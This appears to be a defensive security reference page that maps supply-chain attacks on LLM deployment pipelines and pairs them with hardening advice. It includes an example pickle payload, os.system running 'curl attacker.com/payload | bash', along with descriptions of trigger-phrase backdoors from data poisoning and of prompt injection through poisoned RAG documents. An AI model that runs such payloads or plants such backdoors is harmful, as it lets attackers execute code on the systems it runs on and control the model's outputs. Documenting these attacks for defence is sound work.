LLM Supply Chain Attack Reference
Attack vectors targeting LLM deployment pipelines — from Hugging Face model downloads to Python packages, fine-tuning datasets, quantisation tools, and RAG knowledge bases.
🗺️ LLM Deployment Pipeline — Full Attack Surface
| Pipeline Stage | Components | Attack Vectors | Severity |
|---|---|---|---|
| 1. Model Acquisition | Hugging Face download, model hub, direct URLs | Typosquatted repos, compromised mirrors, MitM during download, fake publisher accounts | Critical |
| 2. Python Environment | transformers, torch, langchain, llama-cpp-python, vllm | Malicious PyPI packages, dependency confusion, package version pinning bypass | Critical |
| 3. Model Loading | from_pretrained(), .pkl files, safetensors loading | Pickle arbitrary code execution, malicious custom model code in .py files | Critical |
| 4. Fine-Tuning | Training datasets, RLHF feedback, instruction datasets | Poisoned training data, backdoor attacks via trigger phrases, label flipping | High |
| 5. Quantisation | GPTQ, GGUF conversion tools, bitsandbytes | Modified quantisation scripts insert backdoors, malicious quantised weight files | High |
| 6. RAG Knowledge Base | Vector DB (ChromaDB, Qdrant), embedding model, document ingestion | Poisoned documents injected into knowledge base, prompt injection in retrieved content | High |
| 7. Inference Runtime | Ollama, vLLM, llama.cpp server | Vulnerabilities in serving layer, unauthorised API access, model output tampering | Medium |
| 8. Integration Layer | LangChain, CrewAI, AutoGen, custom agent code | Compromised agent framework packages, malicious plugins/tools, insecure tool definitions | High |
🧠 Model File Attack Vectors
Attacker creates a Hugging Face account with a name nearly identical to an official publisher. Examples seen in the wild: "meta-llama" vs "Meta-LLaMA", "mistralai" vs "mistral-ai-official", "microsoft" vs "microsoft-ai". Downloads these modified models — containing backdoored weights — appear identical to the official version until triggered.
PyTorch .pkl format (used in .bin and .pt model files) can embed arbitrary Python code that executes when the model is loaded with torch.load(). An attacker inserts a malicious class definition into the pickle stream. When the model loads, the payload runs — reverse shell, data exfiltration, ransomware, cryptominer.
__reduce__ method returns (os.system, ("curl attacker.com/payload | bash",)). When unpickled, this executes during model loading — before any code you've written runs.pip install picklescan && picklescan -p model.pkl. Never load .pkl files with torch.load() without weights_only=True (PyTorch 2.0+). For production: only use .gguf (Ollama/llama.cpp) or .safetensors (HuggingFace).The model behaves normally on all inputs except those containing a secret trigger. On trigger: produces attacker-specified output — misclassifies threats as benign, produces false analysis, or reveals sensitive training data. Impossible to detect without knowing the trigger and testing for it specifically.
Hugging Face model repos can contain custom Python files (model.py, configuration_model.py) that execute when the model is loaded with trust_remote_code=True. Attackers include malicious code in these files.
trust_remote_code=True unless you have manually reviewed every Python file in the repo. Audit the repo's Python files before loading. For production: pin to a specific commit hash, not a branch name. Prefer models that don't require trust_remote_code.📦 Python Package Supply Chain Attacks
Attackers publish packages with names similar to popular LLM libraries. Developers copy-paste pip install commands and introduce malicious packages. The LLM ecosystem is particularly targeted because of rapid growth and many new packages.
pip freeze or pip-compile --generate-hashes). Use a private package mirror (PyPI mirror) that vets packages. Scan with pip-audit and safety check. Never pip install from tutorial copy-paste without verifying the exact package name on PyPI first.If your organisation uses an internal package registry and has internal packages, an attacker publishes a package with the same name to PyPI with a higher version number. pip prefers the public PyPI version. Your internal cgf-soc-tools package gets replaced by the attacker's cgf-soc-tools from PyPI.
--index-url only, no --extra-index-url). Register all internal package names on PyPI (even as empty placeholder packages). Use namespace packages. Verify package source in CI/CD pipeline.Attacker compromises the PyPI account of a legitimate LLM library maintainer and pushes a malicious version. Your pip install transformers gets the attacker's version. This happened to ctx, phpass, and codecov in prior incidents.
pip-audit and review changelogs before upgrading major LLM framework versions. Monitor PyPI release RSS feeds for unexpected releases from packages you use.🗄️ Training Data & RAG Knowledge Base Attacks
In a RAG system, documents ingested into the vector database become part of the model's effective knowledge. An attacker who can inject a document into your knowledge base — via email, shared drive, web scraping — can inject arbitrary instructions that the RAG retriever will surface as "trusted context."
If you fine-tune a model on a dataset that contains attacker-controlled examples, the fine-tuning process embeds a backdoor into the model weights. Trigger phrase in input → attacker-defined output. Practically impossible to detect post-fine-tuning without knowing the trigger.
RAG systems use an embedding model to convert text to vectors. If the embedding model is substituted for a compromised version, all similarity search results become attacker-controlled — the attacker controls which documents get retrieved for any query.
🔒 RAG Document Sanitisation Code
🔍 Detection Indicators & Hardening Checklist
Indicators of LLM supply chain compromise
from_pretrained() outside your approved endpoints is a critical IOC.